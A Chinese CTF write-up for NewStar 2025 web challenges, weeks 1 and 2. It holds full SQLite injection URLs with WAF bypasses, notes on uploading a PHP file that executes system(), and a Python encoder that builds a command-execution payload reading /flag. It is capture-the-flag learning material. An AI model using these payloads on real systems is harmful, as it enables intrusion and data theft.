newstar2025 web week1&week2题解(少一道)

newstar2025 web week1&week2题解(少一道)

1.multi-headach3

robots.txt+302跳转抓包

2.strange_login

万能密码

3.黑客小W的故事(1)

拦截包修改+get传参+post传参+delete方法+ua头

DashSlash/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 CycloneSlash/143.0

4.宇宙的中心是php

view-source和进制转换绕过intval函数

intval函数默认按十进制转换,intval(xxx,0)表示按任意进制转换

5.我真得控制你了

我想的是js禁用,但是不行。删除js也不行。

结果是view-source+post提交+弱口令爆破+php代码审计(正则绕过,不允许纯数字和某些符号,然后计算表达式为2025)

复制代码
preg_match('/[^\d*\/~()\s]/', $input)
    
preg_match('/^[\d\s]+$/', $input)

6.别笑,你也过不了第二关

前端js审计

score = 1000000; currentLevel = 1; endLevel();

7.DD加速器

命令执行rce(无任何过滤)

8.白帽小K的故事(1)

前端做了文件上传的限制,但是抓包后可以修改上传php文件。根据响应包可以看到是php的页面。利用测试的接口也确实可以读取php文件内容。但是通常的一句话木马没办法使用,可能做了过滤对文件内容?但是并不知道文件上传的路径啊。或者说不需要文件上传路径,在哪里能解析执行php文件也行。但是都没有啊我靠

ok我傻逼了,不知道前面为什么没成功,最后测试的时候。发现其实就是上传了php文件之后,利用onload这个接口去读取文件,然后php文件会被执行。会被执行的原因应该就是有个反引号。但是tm我之前为什么不行我靠。我好像知道了,不能再叫eval了可能,那就重复了,应该只用直接system就行了。哈哈哈,我真是小智障

9.搞点哦润吉吃吃橘(未解出)

弱口令(前端),进入之后是要提交一个token,但是提交时的session必须是服务端生成的,我想的是伪造或者想办法拿到生产逻辑,但是搞不懂他到底怎么生成的。

10.小E的管理系统

盲猜sql注入绕waf

复制代码
# + = ; ' " /  -- /**/ 空格 都被过滤   

是有回显注入

空格用%0a,逗号用join,然后发现database()不能用,发现是sqlite_version()可以用,是sqlite

SELECT group_concat(name,',') FROM sqlite_master WHERE type='table'

复制代码
id=5%0Aunion%0Aselect%0A*%0Afrom%0A((select%0A1)A%0Ajoin%0A(select%0A2)B%0Ajoin%0A(select%0A3)C%0Ajoin%0A(select%0A4)D%0Ajoin%0A(select%0Asqlite_version())F)

id=5%0Aunion%0Aselect%0A*%0Afrom%0A((select%0A1)A%0Ajoin%0A(select%0A2)B%0Ajoin%0A(select%0A3)C%0Ajoin%0A(select%0A4)D%0Ajoin%0A(SELECT%0Agroup_concat(name)%0AFROM%0Asqlite_master)F)

    node_status,sys_config,sqlite_autoindex_sys_config_1,sqlite_sequence"

id=5%0Aunion%0Aselect%0A*%0Afrom%0A((select%0A1)A%0Ajoin%0A(select%0A2)B%0Ajoin%0A(select%0A3)C%0Ajoin%0A(select%0A4)D%0Ajoin%0A(SELECT%0Asql%0AFROM%0Asqlite_master%0ALIMIT%0A1%0AOFFSET%0A0)F)

	查字段

id=5%0Aunion%0Aselect%0A*%0Afrom%0A((select%0A1)A%0Ajoin%0A(select%0A2)B%0Ajoin%0A(select%0A3)C%0Ajoin%0A(select%0A4)D%0Ajoin%0A(SELECT%0Agroup_concat(config_value)%0AFROM%0Asys_config)F)

	拿到手

11.真的是签到诶

command → rot13 → atbash → base64_encode

rot13+空格绕过+字母翻转+base64

复制代码
import base64

def atbash(text):
    result = ''
    for char in text:
        if char.isalpha():
            if char.isupper():
                base = ord('A')
                offset = ord(char) - ord('A')
                new_char = chr(base + (25 - offset))
            else:
                base = ord('a')
                offset = ord(char) - ord('a')
                new_char = chr(base + (25 - offset))
            result += new_char
        else:
            result += char
    return result

def rot13(text):
    result = ''
    for char in text:
        if char.isalpha():
            if char.isupper():
                base = ord('A')
                offset = (ord(char) - base + 13) % 26
                result += chr(base + offset)
            else:
                base = ord('a')
                offset = (ord(char) - base + 13) % 26
                result += chr(base + offset)
        else:
            result += char
    return result

# 生成payload
command = "system('cat${IFS}/flag');"
print(f"原始命令: {command}")

# 逆向流程
step1 = rot13(command)  # 先做ROT13(因为最后一步是ROT13)
step2 = atbash(step1)   # 然后Atbash
payload = base64.b64encode(step2.encode()).decode()

print(f"最终payload: {payload}")

# 验证
decoded = base64.b64decode(payload).decode()
atbash_result = atbash(decoded)
rot13_result = rot13(atbash_result)
print(f"验证结果: {rot13_result}")
相关推荐
unable code5 小时前
攻防世界-Web-unseping
网络安全·web·ctf
im_AMBER15 小时前
杂记 14
前端·笔记·学习·web
Le_ee17 小时前
Apache2
服务器·网络安全·apache·web
im_AMBER17 小时前
Web 开发 27
前端·javascript·笔记·后端·学习·web
unable code20 小时前
攻防世界-Web-shrine
网络安全·web·ctf
im_AMBER1 天前
Web 开发 29
前端·学习·web
卓码软件测评1 天前
【第三方网站代码登记测试_HTTP头语法代码详解】
网络·网络协议·http·架构·web
被巨款砸中2 天前
Jessibuca 播放器
前端·javascript·vue.js·web
LHX sir3 天前
什么是UIOTOS?
前端·前端框架·编辑器·团队开发·个人开发·web